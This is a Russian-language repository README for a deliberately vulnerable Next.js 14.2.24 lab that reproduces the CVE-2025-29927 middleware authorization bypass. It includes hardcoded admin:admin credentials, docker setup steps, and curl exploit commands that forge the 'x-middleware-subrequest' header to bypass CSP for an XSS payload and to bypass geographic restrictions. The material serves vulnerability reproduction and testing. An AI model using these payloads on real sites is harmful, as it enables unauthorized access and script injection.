0xpthree/next.js_cve-2025-29927Воспроизводит обход авторизации промежуточного ПО CVE-2025-29927 в Next.js 14.2.24 и демонстрирует эксплуатацию с помощью curl для обхода аутентификации и ограничений промежуточного ПО.
Небольшое и простое приложение Next.js, работающее на версии 14.2.24, используемое для тестирования CVE-2025-29927.
Получите доступ к панели администратора (/admin), используя уязвимость или жёстко заданные учётные данные admin:admin.
» git clone [email protected]:0xPThree/next.js_cve-2025-29927.git
» docker build -t nextjs .
» docker run -d -p 3000:3000 --name nextjs nextjs
Помимо очевидного обхода аутентификации, эта уязвимость также может:
# Middleware may be used to set CSP headers to prevent XSS. Bypass CSP to XSS:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Type: text/html" --data "<script>alert('1')</script>" \
http://exploit.se
# Middleware may be used to restrict content by geographic location. Bypass geographic restrictions:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "CF-IPCountry: SE" http://exploit.se/se-only-content
